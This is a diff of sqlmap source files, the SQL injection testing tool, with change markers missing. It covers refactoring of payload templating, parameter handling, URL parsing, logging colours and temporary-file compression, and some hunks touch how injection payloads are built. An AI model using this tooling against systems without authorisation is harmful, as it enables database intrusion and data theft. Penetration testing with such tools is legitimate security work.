data += " Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus))
data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
return data
def _showInjections():
if conf.wizard and kb.wizardMode:
kb.wizardMode = False
if kb.testQueryCount > 0:
header = "sqlmap identified the following injection point(s) with "
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
@@ -250,6 +254,7 @@ def _saveToResultsFile():
conf.resultsFP.flush()
@stackedmethod
def start():
"""
This function calls a function that performs checks on both URL
@@ -283,7 +288,7 @@ def start():
try:
if conf.checkInternet:
infoMsg = "[INFO] checking for Internet connection"
infoMsg = "checking for Internet connection"
logger.info(infoMsg)
if not checkInternet():
@@ -368,9 +373,8 @@ def start():
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
else:
if targetUrl.find("?") > -1:
firstPart = targetUrl[:targetUrl.find("?")]
secondPart = targetUrl[targetUrl.find("?") + 1:]
if '?' in targetUrl:
firstPart, secondPart = targetUrl.split('?', 1)
message = "Edit GET data [default: %s]: " % secondPart
test = readInput(message, default=secondPart)
test = _randomFillBlankFields(test)
@@ -404,8 +408,7 @@ def start():
if conf.nullConnection:
checkNullConnection()
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
and (kb.injection.place is None or kb.injection.parameter is None):
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
# NOTE: this is not needed anymore, leaving only to display

View File

@@ -56,19 +56,19 @@ def setHandler():
"""
items = [
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
(DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
(DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
(DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
(DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
(DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
(DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
]
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
(DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
(DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
(DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
(DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
(DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
(DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
]
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
if _:

View File

@@ -121,8 +121,8 @@ class Agent(object):
origValue = _.split('=', 1)[1] if '=' in _ else ""
elif place == PLACE.CUSTOM_HEADER:
paramString = origValue
origValue = origValue.split(kb.customInjectionMark)[0]
origValue = origValue[origValue.find(',') + 1:]
origValue = origValue.split(kb.customInjectionMark)[0]
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
if match:
origValue = match.group("value")
@@ -142,7 +142,7 @@ class Agent(object):
match = re.search(r"\A[^ ]+", newValue)
newValue = newValue[len(match.group() if match else ""):]
_ = randomInt(2)
value = "%s%s AND %s=%s" % (origValue, match.group() if match else "", _, _ + 1)
value = "%s%s AND %s LIKE %s" % (origValue, match.group() if match else "", _, _ + 1)
elif conf.invalidBignum:
value = randomInt(6)
elif conf.invalidString:
@@ -198,7 +198,7 @@ class Agent(object):
regex = r"(\A|\b)%s=%s%s" % (re.escape(parameter), re.escape(origValue), r"(\Z|\b)" if origValue[-1].isalnum() else "")
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
else:
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), r"%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue)), paramString)
if retVal == paramString and urlencode(parameter) != parameter:
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue)), paramString)
@@ -294,17 +294,21 @@ class Agent(object):
if payload is None:
return
_ = (
("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
)
payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)
replacements = (
("[DELIMITER_START]", kb.chars.start),
("[DELIMITER_STOP]", kb.chars.stop),
("[AT_REPLACE]", kb.chars.at),
("[SPACE_REPLACE]", kb.chars.space),
("[DOLLAR_REPLACE]", kb.chars.dollar),
("[HASH_REPLACE]", kb.chars.hash_),
("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
)
payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
payload = payload.replace(_, str(randomInt()))
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
payload = payload.replace(_, randomStr())
if origValue is not None and "[ORIGVALUE]" in payload:
@@ -531,7 +535,7 @@ class Agent(object):
fieldsToCastStr = fieldsToCastStr or ""
# Function
if re.search("\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
if re.search(r"\A\w+\(.*\)", fieldsToCastStr, re.I) or (fieldsSelectCase and "WHEN use" not in query) or fieldsSubstr:
fieldsToCastList = [fieldsToCastStr]
else:
fieldsToCastList = splitFields(fieldsToCastStr)
@@ -623,7 +627,7 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
_ = unArrayizeValue(zeroDepthSearch(concatenatedQuery, " FROM "))
concatenatedQuery = "%s||'%s'%s" % (concatenatedQuery[:_], kb.chars.stop, concatenatedQuery[_:])
concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), "\g<2>\g<1>\g<3>", concatenatedQuery)
concatenatedQuery = re.sub(r"('%s'\|\|)(.+)(%s)" % (kb.chars.start, re.escape(castedFields)), r"\g<2>\g<1>\g<3>", concatenatedQuery)
elif fieldsSelect:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -635,7 +639,7 @@ class Agent(object):
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'+" % kb.chars.start, 1)
concatenatedQuery += "+'%s'" % kb.chars.stop
elif fieldsSelectTop:
topNum = re.search("\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
topNum = re.search(r"\ASELECT\s+TOP\s+([\d]+)\s+", concatenatedQuery, re.I).group(1)
concatenatedQuery = concatenatedQuery.replace("SELECT TOP %s " % topNum, "TOP %s '%s'+" % (topNum, kb.chars.start), 1)
concatenatedQuery = concatenatedQuery.replace(" FROM ", "+'%s' FROM " % kb.chars.stop, 1)
elif fieldsSelectCase:
@@ -928,7 +932,7 @@ class Agent(object):
limitedQuery += " %s" % limitStr
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
if not " ORDER BY " in limitedQuery:
if " ORDER BY " not in limitedQuery:
limitStr = limitStr.replace(") WHERE LIMIT", " ORDER BY 1 ASC) WHERE LIMIT")
elif " ORDER BY " in limitedQuery and "SELECT " in limitedQuery:
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]

View File

@@ -6,15 +6,15 @@ See the file 'LICENSE' for copying permission
"""
try:
import cPickle as pickle
import cPickle as pickle
except:
import pickle
import pickle
import bz2
import itertools
import os
import sys
import tempfile
import zlib
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.exception import SqlmapSystemException
@@ -86,11 +86,11 @@ class BigArray(list):
self.chunks.pop()
try:
with open(self.chunks[-1], "rb") as f:
self.chunks[-1] = pickle.loads(zlib.decompress(f.read()))
self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
except IOError, ex:
errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException, errMsg
raise SqlmapSystemException(errMsg)
return self.chunks[-1].pop()
@@ -107,7 +107,7 @@ class BigArray(list):
self.filenames.add(filename)
os.close(handle)
with open(filename, "w+b") as f:
f.write(zlib.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
return filename
except (OSError, IOError), ex:
errMsg = "exception occurred while storing data "
@@ -115,7 +115,7 @@ class BigArray(list):
errMsg += "make sure that there is enough disk space left. If problem persists, "
errMsg += "try to set environment variable 'TEMP' to a location "
errMsg += "writeable by the current user"
raise SqlmapSystemException, errMsg
raise SqlmapSystemException(errMsg)
def _checkcache(self, index):
if (self.cache and self.cache.index != index and self.cache.dirty):
@@ -125,11 +125,11 @@ class BigArray(list):
if not (self.cache and self.cache.index == index):
try:
with open(self.chunks[index], "rb") as f:
self.cache = Cache(index, pickle.loads(zlib.decompress(f.read())), False)
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
except IOError, ex:
errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException, errMsg
raise SqlmapSystemException(errMsg)
def __getstate__(self):
return self.chunks, self.filenames

View File

@@ -5,6 +5,7 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import binascii
import codecs
import contextlib
import cookielib
@@ -19,6 +20,7 @@ import locale
import logging
import ntpath
import os
import platform
import posixpath
import random
import re
@@ -74,6 +76,7 @@ from lib.core.enums import EXPECTED
from lib.core.enums import HEURISTIC_TEST
from lib.core.enums import HTTP_HEADER
from lib.core.enums import HTTPMETHOD
from lib.core.enums import LOGGING_LEVELS
from lib.core.enums import MKSTEMP_PREFIX
from lib.core.enums import OPTION_TYPE
from lib.core.enums import OS
@@ -99,7 +102,10 @@ from lib.core.settings import BOUNDED_INJECTION_MARKER
from lib.core.settings import BRUTE_DOC_ROOT_PREFIXES
from lib.core.settings import BRUTE_DOC_ROOT_SUFFIXES
from lib.core.settings import BRUTE_DOC_ROOT_TARGET_MARK
from lib.core.settings import BURP_REQUEST_REGEX
from lib.core.settings import BURP_XML_HISTORY_REGEX
from lib.core.settings import DBMS_DIRECTORY_DICT
from lib.core.settings import CRAWL_EXCLUDE_EXTENSIONS
from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
@@ -137,6 +143,7 @@ from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import PLATFORM
from lib.core.settings import PRINTABLE_CHAR_REGEX
from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT
from lib.core.settings import PYVERSION
from lib.core.settings import REFERER_ALIASES
@@ -159,6 +166,7 @@ from lib.core.settings import URLENCODE_CHAR_LIMIT
from lib.core.settings import URLENCODE_FAILSAFE_CHARS
from lib.core.settings import USER_AGENT_ALIASES
from lib.core.settings import VERSION_STRING
from lib.core.settings import WEBSCARAB_SPLITTER
from lib.core.threads import getCurrentThreadData
from lib.utils.sqlalchemy import _sqlalchemy
from thirdparty.clientform.clientform import ParseResponse
@@ -594,9 +602,7 @@ def paramToDict(place, parameters=None):
testableParameters[parameter] = "=".join(parts[1:])
if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken):
_ = urldecode(testableParameters[parameter], convall=True)
if (_.endswith("'") and _.count("'") == 1
or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _))\
and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
warnMsg = "it appears that you have provided tainted parameter values "
warnMsg += "('%s') with most likely leftover " % element
warnMsg += "chars/statements from manual SQL injection test(s). "
@@ -649,7 +655,7 @@ def paramToDict(place, parameters=None):
message = "it appears that provided value for %s parameter '%s' " % (place, parameter)
message += "is JSON deserializable. Do you want to inject inside? [y/N] "
if not readInput(message, default='N', boolean=True):
if readInput(message, default='N', boolean=True):
del testableParameters[parameter]
testableParameters.update(candidates)
break
@@ -862,28 +868,42 @@ def boldifyMessage(message):
retVal = message
if any(_ in message for _ in BOLD_PATTERNS):
retVal = setColor(message, True)
retVal = setColor(message, bold=True)
return retVal
def setColor(message, bold=False):
def setColor(message, color=None, bold=False):
retVal = message
level = extractRegexResult(r"\[(?P<result>[A-Z ]+)\]", message) or kb.get("stickyLevel")
level = extractRegexResult(r"\[(?P<result>%s)\]" % '|'.join(_[0] for _ in getPublicTypeMembers(LOGGING_LEVELS)), message) or kb.get("stickyLevel")
if isinstance(level, unicode):
level = unicodeencode(level)
if message and getattr(LOGGER_HANDLER, "is_tty", False): # colorizing handler
if bold:
retVal = colored(message, color=None, on_color=None, attrs=("bold",))
if bold or color:
retVal = colored(message, color=color, on_color=None, attrs=("bold",) if bold else None)
elif level:
level = getattr(logging, level, None) if isinstance(level, basestring) else level
_ = LOGGER_HANDLER.level_map.get(level)
if _:
background, foreground, bold = _
retVal = colored(message, color=foreground, on_color="on_%s" % background if background else None, attrs=("bold",) if bold else None)
retVal = LOGGER_HANDLER.colorize(message, level)
kb.stickyLevel = level if message and message[-1] != "\n" else None
return retVal
def clearColors(message):
"""
Clears ANSI color codes
>>> clearColors("\x1b[38;5;82mHello \x1b[38;5;198mWorld")
'Hello World'
"""
retVal = message
if message:
retVal = re.sub(r"\x1b\[[\d;]+m", "", message)
return retVal
def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=CONTENT_STATUS.IN_PROGRESS):
"""
Writes text to the stdout (console) stream
@@ -892,7 +912,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
message = ""
if not kb.get("threadException"):
if forceOutput or not getCurrentThreadData().disableStdOut:
if forceOutput or not (getCurrentThreadData().disableStdOut or kb.get("wizardMode")):
if kb.get("multiThreadMode"):
logging._acquireLock()
@@ -905,7 +925,7 @@ def dataToStdout(data, forceOutput=False, bold=False, content_type=None, status=
if conf.get("api"):
sys.stdout.write(message, status, content_type)
else:
sys.stdout.write(setColor(message, bold))
sys.stdout.write(setColor(message, bold=bold))
sys.stdout.flush()
except IOError:
@@ -997,14 +1017,17 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
elif answer is None and retVal:
retVal = "%s,%s" % (retVal, getUnicode(item, UNICODE_ENCODING))
if message and getattr(LOGGER_HANDLER, "is_tty", False):
message = "\r%s" % message
if retVal:
dataToStdout("\r%s%s\n" % (message, retVal), forceOutput=True, bold=True)
dataToStdout("%s%s\n" % (message, retVal), forceOutput=not kb.wizardMode, bold=True)
debugMsg = "used the given answer"
logger.debug(debugMsg)
if retVal is None:
if checkBatch and conf.get("batch"):
if checkBatch and conf.get("batch") or conf.get("api"):
if isListLike(default):
options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
elif default:
@@ -1012,7 +1035,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
else:
options = unicode()
dataToStdout("\r%s%s\n" % (message, options), forceOutput=True, bold=True)
dataToStdout("%s%s\n" % (message, options), forceOutput=not kb.wizardMode, bold=True)
debugMsg = "used the default behavior, running in batch mode"
logger.debug(debugMsg)
@@ -1025,7 +1048,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
if conf.get("beep"):
beep()
dataToStdout("\r%s" % message, forceOutput=True, bold=True)
dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
kb.prependFlag = False
retVal = raw_input().strip() or default
@@ -1173,7 +1196,7 @@ def banner():
_ = BANNER
if not getattr(LOGGER_HANDLER, "is_tty", False) or "--disable-coloring" in sys.argv:
_ = re.sub("\033.+?m", "", _)
_ = clearColors(_)
elif IS_WIN:
coloramainit()
@@ -1246,11 +1269,15 @@ def setPaths(rootPath):
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
# history files
paths.SQLMAP_HISTORY_PATH = getUnicode(os.path.join(_, "history"), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
paths.API_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "api.hst")
paths.OS_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "os.hst")
paths.SQL_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sql.hst")
paths.SQLMAP_SHELL_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "sqlmap.hst")
paths.GITHUB_HISTORY = os.path.join(paths.SQLMAP_HISTORY_PATH, "github.hst")
# sqlmap files
paths.OS_SHELL_HISTORY = os.path.join(_, "os.hst")
paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
paths.CHECKSUM_MD5 = os.path.join(paths.SQLMAP_TXT_PATH, "checksum.md5")
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
@@ -1270,7 +1297,7 @@ def setPaths(rootPath):
paths.PGSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "postgresql.xml")
for path in paths.values():
if any(path.endswith(_) for _ in (".txt", ".xml", ".zip")):
if any(path.endswith(_) for _ in (".md5", ".txt", ".xml", ".zip")):
checkFile(path)
def weAreFrozen():
@@ -1290,13 +1317,11 @@ def parseTargetDirect():
if not conf.direct:
return
conf.direct = conf.direct.encode(UNICODE_ENCODING) # some DBMS connectors (e.g. pymssql) don't like Unicode with non-US letters
details = None
remote = False
for dbms in SUPPORTED_DBMS:
details = re.search("^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\\\]+?)$" % dbms, conf.direct, re.I)
details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
if details:
conf.dbms = details.group("dbms")
@@ -1322,7 +1347,7 @@ def parseTargetDirect():
conf.hostname = "localhost"
conf.port = 0
conf.dbmsDb = details.group("db")
conf.dbmsDb = details.group("db").strip() if details.group("db") is not None else None
conf.parameters[None] = "direct connection"
break
@@ -1351,7 +1376,7 @@ def parseTargetDirect():
raise SqlmapSyntaxException(errMsg)
if dbmsName in (DBMS.MSSQL, DBMS.SYBASE):
import _mssql
__import__("_mssql")
import pymssql
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
@@ -1361,17 +1386,21 @@ def parseTargetDirect():
raise SqlmapMissingDependence(errMsg)
elif dbmsName == DBMS.MYSQL:
import pymysql
__import__("pymysql")
elif dbmsName == DBMS.PGSQL:
import psycopg2
__import__("psycopg2")
elif dbmsName == DBMS.ORACLE:
import cx_Oracle
__import__("cx_Oracle")
# Reference: http://itsiti.com/ora-28009-connection-sys-sysdba-sysoper
if (conf.dbmsUser or "").upper() == "SYS":
conf.direct = "%s?mode=SYSDBA" % conf.direct
elif dbmsName == DBMS.SQLITE:
import sqlite3
__import__("sqlite3")
elif dbmsName == DBMS.ACCESS:
import pyodbc
__import__("pyodbc")
elif dbmsName == DBMS.FIREBIRD:
import kinterbasdb
__import__("kinterbasdb")
except:
if _sqlalchemy and data[3] in _sqlalchemy.dialects.__all__:
pass
@@ -1398,11 +1427,11 @@ def parseTargetUrl():
errMsg += "on this platform"
raise SqlmapGenericException(errMsg)
if not re.search(r"^http[s]*://", conf.url, re.I) and not re.search(r"^ws[s]*://", conf.url, re.I):
if ":443/" in conf.url:
conf.url = "https://" + conf.url
if not re.search(r"^https?://", conf.url, re.I) and not re.search(r"^wss?://", conf.url, re.I):
if re.search(r":443\b", conf.url):
conf.url = "https://%s" % conf.url
else:
conf.url = "http://" + conf.url
conf.url = "http://%s" % conf.url
if kb.customInjectionMark in conf.url:
conf.url = conf.url.replace('?', URI_QUESTION_MARKER)
@@ -1415,7 +1444,7 @@ def parseTargetUrl():
errMsg += "in the hostname part"
raise SqlmapGenericException(errMsg)
hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search("\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filter(None, (re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P<port>\d+))?", urlSplit.netloc).group("port")))
conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https"
conf.path = urlSplit.path.strip()
@@ -1425,13 +1454,14 @@ def parseTargetUrl():
conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "")
try:
_ = conf.hostname.encode("idna")
except LookupError:
_ = conf.hostname.encode(UNICODE_ENCODING)
except UnicodeError:
_ = None
conf.hostname.encode("idna")
conf.hostname.encode(UNICODE_ENCODING)
except (LookupError, UnicodeError):
invalid = True
else:
invalid = False
if any((_ is None, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
if any((invalid, re.search(r"\s", conf.hostname), '..' in conf.hostname, conf.hostname.startswith('.'), '\n' in originalUrl)):
errMsg = "invalid target URL ('%s')" % originalUrl
raise SqlmapSyntaxException(errMsg)
@@ -1474,6 +1504,23 @@ def parseTargetUrl():
if conf.url != originalUrl:
kb.originalUrls[conf.url] = originalUrl
def escapeJsonValue(value):
"""
Escapes JSON value (used in payloads)
# Reference: https://stackoverflow.com/a/16652683
"""
retVal = ""
for char in value:
if char < ' ' or char == '"':
retVal += json.dumps(char)[1:-1]
else:
retVal += char
return retVal
def expandAsteriskForColumns(expression):
"""
If the user provided an asterisk rather than the column(s)
@@ -1481,14 +1528,14 @@ def expandAsteriskForColumns(expression):
the SQL query string (expression)
"""
asterisk = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
match = re.search(r"(?i)\ASELECT(\s+TOP\s+[\d]+)?\s+\*\s+FROM\s+`?([^`\s()]+)", expression)
if asterisk:
if match:
infoMsg = "you did not provide the fields in your query. "
infoMsg += "sqlmap will retrieve the column names itself"
logger.info(infoMsg)
_ = asterisk.group(2).replace("..", '.').replace(".dbo.", '.')
_ = match.group(2).replace("..", '.').replace(".dbo.", '.')
db, conf.tbl = _.split('.', 1) if '.' in _ else (None, _)
if db is None:
@@ -1823,8 +1870,7 @@ def getFilteredPageContent(page, onlyText=True, split=" "):
# only if the page's charset has been successfully identified
if isinstance(page, unicode):
retVal = re.sub(r"(?si)<script.+?</script>|<!--.+?-->|<style.+?</style>%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page)
while retVal.find(2 * split) != -1:
retVal = retVal.replace(2 * split, split)
retVal = re.sub(r"%s{2,}" % split, split, retVal)
retVal = htmlunescape(retVal.strip().strip(split))
return retVal
@@ -1985,7 +2031,7 @@ def parseXmlFile(xmlFile, handler):
errMsg = "something appears to be wrong with "
errMsg += "the file '%s' ('%s'). Please make " % (xmlFile, getSafeExString(ex))
errMsg += "sure that you haven't made any changes to it"
raise SqlmapInstallationException, errMsg
raise SqlmapInstallationException(errMsg)
def getSQLSnippet(dbms, sfile, **variables):
"""
@@ -2117,7 +2163,7 @@ def initCommonOutputs():
if line not in kb.commonOutputs[key]:
kb.commonOutputs[key].add(line)
def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, unique=False):
def getFileItems(filename, commentPrefix='#', unicoded=True, lowercase=False, unique=False):
"""
Returns newline delimited items contained inside file
"""
@@ -2130,20 +2176,14 @@ def getFileItems(filename, commentPrefix='#', unicode_=True, lowercase=False, un
checkFile(filename)
try:
with openFile(filename, 'r', errors="ignore") if unicode_ else open(filename, 'r') as f:
for line in (f.readlines() if unicode_ else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used
with openFile(filename, 'r', errors="ignore") if unicoded else open(filename, 'r') as f:
for line in (f.readlines() if unicoded else f.xreadlines()): # xreadlines doesn't return unicode strings when codec.open() is used
if commentPrefix:
if line.find(commentPrefix) != -1:
line = line[:line.find(commentPrefix)]
line = line.strip()
if not unicode_:
try:
line = str.encode(line)
except UnicodeDecodeError:
continue
if line:
if lowercase:
line = line.lower()
@@ -2516,7 +2556,7 @@ def findMultipartPostBoundary(post):
return retVal
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, plusspace=True):
def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CHAR, convall=False, spaceplus=True):
"""
URL decodes given value
@@ -2534,14 +2574,14 @@ def urldecode(value, encoding=None, unsafe="%%&=;+%s" % CUSTOM_INJECTION_MARK_CH
pass
finally:
if convall:
result = urllib.unquote_plus(value) if plusspace else urllib.unquote(value)
result = urllib.unquote_plus(value) if spaceplus else urllib.unquote(value)
else:
def _(match):
charset = reduce(lambda x, y: x.replace(y, ""), unsafe, string.printable)
char = chr(ord(match.group(1).decode("hex")))
return char if char in charset else match.group(0)
result = value
if plusspace:
if spaceplus:
result = result.replace('+', ' ') # plus sign has a special meaning in URL encoded data (hence the usage of urllib.unquote_plus in convall case)
result = re.sub(r"%([0-9a-fA-F]{2})", _, result)
@@ -2643,7 +2683,7 @@ def logHTTPTraffic(requestLogMsg, responseLogMsg, startTime=None, endTime=None):
dataToTrafficFile("%s%s" % (responseLogMsg, os.linesep))
dataToTrafficFile("%s%s%s%s" % (os.linesep, 76 * '#', os.linesep, os.linesep))
def getPageTemplate(payload, place): # Cross-linked function
def getPageTemplate(payload, place): # Cross-referenced function
raise NotImplementedError
@cachedmethod
@@ -2868,15 +2908,15 @@ def filterStringValue(value, charRegex, replacement=""):
return retVal
def filterControlChars(value):
def filterControlChars(value, replacement=' '):
"""
Returns string value with control chars being supstituted with ' '
Returns string value with control chars being supstituted with replacement character
>>> filterControlChars(u'AND 1>(2+3)\\n--')
u'AND 1>(2+3) --'
"""
return filterStringValue(value, PRINTABLE_CHAR_REGEX, ' ')
return filterStringValue(value, PRINTABLE_CHAR_REGEX, replacement)
def isDBMSVersionAtLeast(version):
"""
@@ -2976,7 +3016,7 @@ def setOptimize():
Sets options turned on by switch '-o'
"""
#conf.predictOutput = True
# conf.predictOutput = True
conf.keepAlive = True
conf.threads = 3 if conf.threads < 3 else conf.threads
